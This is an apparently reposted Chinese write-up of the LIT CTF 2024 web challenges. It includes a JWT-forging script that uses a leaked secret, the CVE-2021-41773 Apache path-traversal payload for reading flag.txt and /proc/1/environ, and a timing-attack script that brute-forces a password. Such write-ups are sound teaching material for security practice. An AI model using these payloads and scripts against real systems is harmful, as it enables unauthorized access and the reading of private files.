【Web】LIT CTF 2024 题解(全)

news2024/9/21 20:41:23

目录

anti-inspect 

jwt-1

jwt-2

traversed

kirbytime

scrainbow


anti-inspect 

因为一直while true,网页会卡死无法访问

const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
      console.log(
          flag,
          "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
        );

直接console里打印出flag,注意谷歌浏览器不行,这里我用的是火狐

jwt-1

注册改jwt

爆密钥 

改jwt拿flag

jwt-2

直接给了源码,泄露了密钥

附件是ts写的,破解脚本也拿ts写就是

exp:

const crypto = require('crypto');
const axios = require('axios');

const url = 'http://litctf.org:31777/flag';
const jwtSecret = 'xook';

// JWT header
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' }), 'utf8')
    .toString('base64')
    .replace(/=/g, '');

// 伪造的JWT payload
const payload = Buffer.from(JSON.stringify({ name: 'aad', admin: true }), 'utf8')
    .toString('base64')
    .replace(/=/g, '');

// 生成伪造的JWT签名
const data = `${header}.${payload}`;
const signature = crypto.createHmac('sha256', jwtSecret)
    .update(data)
    .digest('base64')
    .replace(/=/g, '');

// 生成伪造的JWT token
const forgedToken = `${data}.${signature}`;

// 设置cookie并发送请求
axios.get(url, { headers: { Cookie: `token=${forgedToken}` } })
    .then(response => {
        console.log(response.data);
    })
    .catch(error => {
        if (error.response) {
            console.error(error.response.data);
        } else {
            console.error(error.message);
        }
    });

traversed

dirsearch扫出来信息泄露

打的是CVE-2021-41773任意文件读取Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)复现 | chaser's Blog

读当前目录下flag.txt即可

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cwd/flag.txt

或者先读环境变量/proc/1/environ得知pwd为/app

再读/app/flag.txt

kirbytime

写脚本暴力破解密码

py脚本

import requests
import string
import time

# 目标 URL
url = 'http://34.31.154.223:50350/'  # 修改为实际的 URL

# 扩展字符集(包括小写字母、大写字母、数字和常见特殊符号)
charset = string.ascii_letters + string.digits + "!@#$%^&*()-=_+[]{}|;:,.<>/?~"

# 密码长度
password_length = 7

# 初始猜测密码
known_password = ['a'] * password_length  # 初始密码设为 'aaaaaaa'

def check_password(password):
    """检查密码并返回响应时间"""
    start_time = time.time()
    response = requests.post(url, data={'password': password})
    end_time = time.time()
    response_time = end_time - start_time
    print(f"Trying password: {password}, Response Time: {response_time:.2f}s")
    return response_time

def find_password():
    for pos in range(password_length):
        print(f"Finding character for position {pos}...")
        for char in charset:
            # 尝试将当前位置设置为当前字符
            known_password[pos] = char
            current_guess = ''.join(known_password)
            response_time = check_password(current_guess)
            
            # 动态计算阈值,根据字符位置动态设置
            threshold = 1.2 + pos * 1.0  # 例:阈值动态增加,可根据实际情况调整
            print(f"Response Time for {char} at position {pos}: {response_time:.2f}s, Threshold: {threshold:.2f}s")

            if response_time > threshold:
                print(f"Character at position {pos} fixed as: {char}")
                break
        else:
            # 如果没有找到合适的字符,重置当前位置并尝试其他字符
            known_password[pos] = 'a'
            print(f"Failed to fix character at position {pos}")

        print(f"Known password so far: {''.join(known_password)}")

    return ''.join(known_password)

# 开始破解
if __name__ == '__main__':
    start_time = time.time()
    found_password = find_password()
    end_time = time.time()
    elapsed_time = end_time - start_time
    if found_password:
        print(f"Final password: {found_password}")
        print(f"Time taken: {elapsed_time:.2f} seconds")
        
        # 使用找到的密码进行登录
        response = requests.post(url, data={'password': found_password})
        if response.status_code == 200:
            print("Login successful!")
            print("Response from server:")
            print(response.text)
        else:
            print("Login failed.")
    else:
        print("Password not found.")

爆出来密码是kBySlaY

 直接LITCTF{}包裹密码就是flag

 

scrainbow

纯脚本题,写脚本通了游戏即可

import requests

headers = {
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    'Connection': 'keep-alive',
    'Referer': 'http://litctf.org:31780/',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0'
}

data = requests.get('http://litctf.org:31780/data', headers=headers, verify=False).json()


def rgb2hsl(hex: str) -> tuple[float, float, float]:
    hex = hex.lstrip('#')
    r, g, b = int(hex[:2], 16), int(hex[2:4], 16), int(hex[4:], 16)
    r, g, b = r / 255.0, g / 255.0, b / 255.0
    mx = max(r, g, b)
    mn = min(r, g, b)
    df = mx-mn
    if mx == mn:
        h = 0
    elif mx == r:
        h = (60 * ((g-b)/df) + 360) % 360
    elif mx == g:
        h = (60 * ((b-r)/df) + 120) % 360
    elif mx == b:
        h = (60 * ((r-g)/df) + 240) % 360
    if mx == 0:
        s = 0
    else:
        s = df/mx
    l = (mx+mn)/2
    return h, s, l


colors_map: dict[float, list[int]] = {}
for i, color in enumerate(data):
    h, s, l = rgb2hsl(color)
    if h not in colors_map:
        colors_map[h] = []
    colors_map[h].append(i)

colors = [p for h, p in sorted(colors_map.items(), key=lambda x: x[0], reverse=False)]

target = []
for i in range(100):
    for j in range(100):
        target.append(colors[i+j].pop())

# for i in range(len(data)):
#     print(f"data[{i}] = '{data[target[i]]}';")

# exit()

moves = []
current = [i for i in range(len(data))]

for i in range(len(target)):
    if current[i] == target[i]:
        continue
    a, b = i, current.index(target[i])
    moves.append((a, b))
    current[a], current[b] = current[b], current[a]

# for move in moves:
    # print(f"temp = data[{move[0]}]; data[{move[0]}] = data[{move[1]}]; data[{move[1]}] = temp;")

response = requests.post('http://litctf.org:31780/test', headers=headers, json={'data': moves}, verify=False)

print(response.text)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2037332.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nginx异常关闭之中了挖矿病毒kswapd0

问题描述&#xff1a;系统突然无法访问了&#xff0c;登录服务器看了一下是因为Nginx服务关闭&#xff0c;重启后过了几天仍然异常关闭 系统&#xff1a;CentOS 7&#xff0c;Nginx 1.20 尝试解决过程&#xff1a;1、查询nginx/logs/error.log、系统日志&#xff0c;都没有查…

Ubuntu18.04 配置EtherCAT主站IGH SOEM

IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核&#xff0c;我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…

Robotics: Aerial Robotics 部分笔记——Week2(1) 运动学

Week 2.1 g ( q ) g(q) g(q) is called g of q.Rotation matrix R R R: P ′ R P PRP P′RP。旋转矩阵都是正交的&#xff08;orthogonal&#xff09;&#xff0c;即 R T R R R T I R^TRRR^TI RTRRRTI&#xff1b;行列式为1 d e t R 1 det R 1 detR1&#xff1b;且旋转矩…

【JAVA】阿里巴巴的Arthas:Java应用诊断的利器

文章目录 引言1. Arthas概述2. 安装与配置3. 基本使用4. 业务开发示例5. 高级功能6. 实践经验与案例分析7. 结论8. 附录 更多相关内容可查看 引言 在现代软件开发中&#xff0c;Java作为一种广泛使用的编程语言&#xff0c;承担着大量企业级应用的开发任务。然而&#xff0c;随…

Linux驱动入门实验班——Hello驱动(后附百问网课程视频链接)

目录 1.如何编写驱动程序 2.编写驱动程序 ①确定主设备号 register_chrdev函数 ②file_operations结构体 ③实现对应的函数&#xff0c;填入结构体 copy_from_user函数 copy_to_user函数 ④注册驱动程序 方式一 方式二 ⑤入口函数 ⑥出口函数 ⑦提供设备信息&#x…

Type-C接口取电芯片-LDR6500

取电芯片&#xff0c;特别是针对Type-C接口的取电芯片&#xff0c;如LDR6328系列&#xff0c;是近年来电子设备领域的一个重要技术组件。这些芯片通过智能协议控制&#xff0c;实现高效、安全的充电过程&#xff0c;并广泛应用于智能手机、平板电脑、笔记本电脑、小家电等各类需…

18. 基于ES实战海量数据检索

18. 基于ES实战海量数据检索 一. 概述二. Elasticsearch 全文检索1. 分布式搜索引擎2. 搜索引擎种类3. 倒排索引三. elastic使用1. 官网介绍2. docker安装3. elasticsearch-head工具4. 分词与内置分词4.1 内置分词器(了解即可)4.2 `IK`中文分词器*****************************…

打造高效信息发布平台小程序:设计思路与实践

在当今这个信息爆炸的时代&#xff0c;信息发布平台已成为连接用户与内容的桥梁&#xff0c;小程序以其独特的优势成为众多企业和个人开发者青睐的选择。开发一款专注于信息发布与共享的小程序&#xff0c;旨在为用户打造一个便捷、高效、互动性强的信息获取平台&#xff0c;具…

使用docker-compose快速部署Prometheus+grafana环境

初始化 Prometheusgrafana 创建相关目录并给予权限&#xff0c;持久化目录需要给777权限&#xff0c;否则容器启动失败 cd ~ && mkdir prometheus && chmod 777 prometheus cd prometheus && mkdir grafana_data prometheus_data && chmod 777…

过滤器实验

1.过滤器实验 首先写两个页面之间能够互相跳转 Test1.html通过超链接跳转到test2.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head> <body> <!--&l…

LDR6020在Type-C手机同时充电与USB2.0数据传输方案

随着科技的飞速发展&#xff0c;Type-C接口已成为智能手机等移动设备的主流充电和数据传输接口。为了满足用户对于高效充电与稳定数据传输的双重需求&#xff0c;乐得瑞科技推出的LDR6020芯片凭借其卓越的性能和丰富的功能&#xff0c;为Type-C手机提供了同时充电与USB2.0数据传…

欢迪迈手机商城设计与开发

TOC springboot137欢迪迈手机商城设计与开发 绪论** 1.1 研究背景 当前社会各行业领域竞争压力非常大&#xff0c;随着当前时代的信息化&#xff0c;科学化发展&#xff0c;让社会各行业领域都争相使用新的信息技术&#xff0c;对行业内的各种相关数据进行科学化&#xff0…

JavaScript高阶笔记总结(Xmind格式):第一天

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; js高阶知识总结&#xff1a; 理解Object&#xff1a; 1.返回一个由一个给定对象的自身可枚举属性组成的数组&#xff1a;Object.keys(对象名) 2.in 判断属性是否存在&#xff1a;"属性名" in 对象名 …

巧妙的获取Kimi和Deepseek提示词--结构化提示词真实用啊

文章目录 前言一、Kimi官方提示词Kimi的“提示词专家”Kimi的“爆款网文生成器”Kimi的“小红书爆款生成器”Kimi的“i人嘴替”Kimi的“费曼学习”Kimi的“留学顾问”Kimi的“公文笔杆”Kimi的“公文笔杆”Kimi的“猜猜我在想谁”Kimi的“塔罗师”Deepseek-Chat官方提示词如何防…

JDK源码——ThreadLocal

提供的方法 remove(): 移除当前线程的局部变量值。调用此方法后&#xff0c;当前线程将不再持有任何局部变量值。 set(T): 为当前线程设置一个新的局部变量值。参数T是要设置的值的类型。 get(): 获取当前线程的局部变量值。返回类型为T。 withInitial(Supplier): 创建一个新的…

Java语言程序设计基础篇_编程练习题*16.21(秒表倒计时)

目录 题目&#xff1a;*16.21&#xff08;秒表倒计时&#xff09; 习题思路 代码示例 结果展示 题目&#xff1a;*16.21&#xff08;秒表倒计时&#xff09; 编写一个程序&#xff0c;允许用户在文本域中以秒为单位输入时间&#xff0c;然后按下Enter键来进行倒计时&#xff0…

剪映新手必看!剪映如何实现图片/视频在文字上显示(剪映如何实现图片/视频轨道在文字轨道之上显示/剪映如何实现自由轨道/层级)

文章目录 📖 介绍 📖🏡 演示环境 🏡📒 剪映 📒📝 解决方案⚓️ 相关链接 ⚓️📖 介绍 📖 剪映,这款广受好评的视频编辑应用,以其用户友好的界面和强大的功能,成为了许多视频创作者的首选。抱着好奇心,今天我也试用了一下,但在使用过程中,我遇到了一个问…

AI for reading ML paper

心流 心流 Kimi Kimi Humata Humata Bytez Bytez Chatgpt4 scholar 学术版chatgpt4&#xff0c;需要充值&#xff1b; 还有更多AI工具等待你发现&#xff1b;

LVS的NAT模式实战

目录 1.NAT模式的工作原理 2.NAT模式实战---环境准备 1.环境规划 2.克隆主机&#xff0c;生成nat模式的机器 1.设置主机名称 2.更改ip地址 3.添加网卡 4.查看网卡 5.修改网卡配置文件 6.时间同步 7.停用其他服务 8.添加web服务 1.安装nginx 2.修改index.html文件 …

NFS实现多服务器文件的共享

文章目录 一、简介二、部署1、准备1、服务端和客户端&#xff1a;安装nfs-utils2、服务端&#xff1a;创建共享目录3、服务端&#xff1a;配置exports文件4、客户端挂载5、客户端&#xff1a;卸载 三、附录1、NFS服务基本命令2、/etc/exports参数解释3、exportfs命令 参考资料 …